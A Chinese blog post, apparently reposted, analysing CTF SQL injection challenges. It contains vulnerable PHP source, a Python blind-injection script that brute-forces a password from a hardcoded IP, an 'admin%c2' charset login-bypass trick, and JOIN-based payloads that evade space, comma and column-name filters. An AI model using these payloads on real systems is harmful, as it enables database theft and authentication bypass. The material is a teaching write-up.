码迷,mamicode.com
首页 > 其他好文 > 详细

ctf中常见注入题源码及脚本分析

时间:2017-07-30 22:07:48      阅读:181      评论:0      收藏:0      [点我收藏+]

标签:img   die   result   依次   utf-8   global   客户端   利用   .com   

1.代码审计发现 这里没有用escape_string,因此存在注入。

 1 function show($username){
 2   global $conn;
 3   $sql = "select role from `user` where username =‘".$username."‘";
 4   $res = $conn ->query($sql);
 5   if($res->num_rows>0){
 6   echo "$username is ".$res->fetch_assoc()[‘role‘];
 7   }else{
 8   die("Don‘t have this user!");
 9   }
10 }

 通过这里注入可以得到pasaword,$usename为被 单引号引起,所以应该首先注意闭合单引号。

pyhton脚本如下:

 1 # --coding:utf-8--    import requests
 2 url="http://117.34.111.15:89/?action=show"
 3 passwd=""
 4 lists="1234567890QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm"
 5 for i in xrange(1,33):
 6     print i
 7     for p in lists:
 8         param={‘username‘:"-1‘=(ascii(mid((passwd)from("+str(i)+")))="+str(ord(p))+")=‘0"}
 9         print requests.post(url,data=param).content
10         if "admin" in requests.post(url,data=param).content:
11             passwd=passwd+p
12             break
13 print passwd

首先可以通过注入得到password长度为32,即我们需要爆破32位长度的密码。

利用 (-1=x=x=0)=true的逻辑来依次判断出每一位密码。

因为有32位,所以外层循环需要32次,对每一次都需要内层循环遍历所有的数字和字母,当三个等于号为true时,页面返回中会返回包含“admin”的字符串,此时可以将爆破出的一位密码位保留。

登陆就是flag 登陆这里的admin判断直接用admin%c2这个去绕过(mysql客户端与数据库的字符转换trick,当客户端为utf8,数据库为latin1的时候,latin1不允许出现汉字,所以将%c2视为无用部分舍去)。

技术分享

 

 

2.当注入时出现逗号,空格被过滤且关键字段被过滤

首先创建一张表作为要被查询的表作为演示

技术分享

插入一些数据;

技术分享

 

 

 我们的目的是查询出id=4的passwd的值,但是空格逗号被过滤以及passwd字段被过滤,所以首先绕过空格和逗号的过滤,

空格的过滤可以用//,/**/,(),+绕过

逗号可以用join查询来替换,以便于实现union联合查询。

首先看一下join的效果:

技术分享

 

 这里的1,2,3,4是我们可以替换的用于显示的数据位,比如:

技术分享

我们通过id主键来查询出每一条结果

技术分享

 为了查出第四条记录的passwd字段的值,首先构造: 

1 select * from((select 1)a join (select 2)b  join (select 3)c  join (select 4)d)

假设字段三是数据回显位,则将(select 3)改写为:

1 (select result.3 from (select * from ((select 1)q join (select 2)w join (select 3)e join (select 4)r) union select * from table3 limit 1 offset 3) result)c

则最终语句为:

1 select * from((select 1)a join (select 2)b  join (select result.3 from(select * from ((select 1)q join (select 2)w join (select 3)e join (select 4)r)union select * from table3 limit 1 offset 4)result)c join (select 4)d);

 技术分享

持续更新中~

ctf中常见注入题源码及脚本分析

标签:img   die   result   依次   utf-8   global   客户端   利用   .com   

原文地址:http://www.cnblogs.com/wfzWebSecuity/p/7173127.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!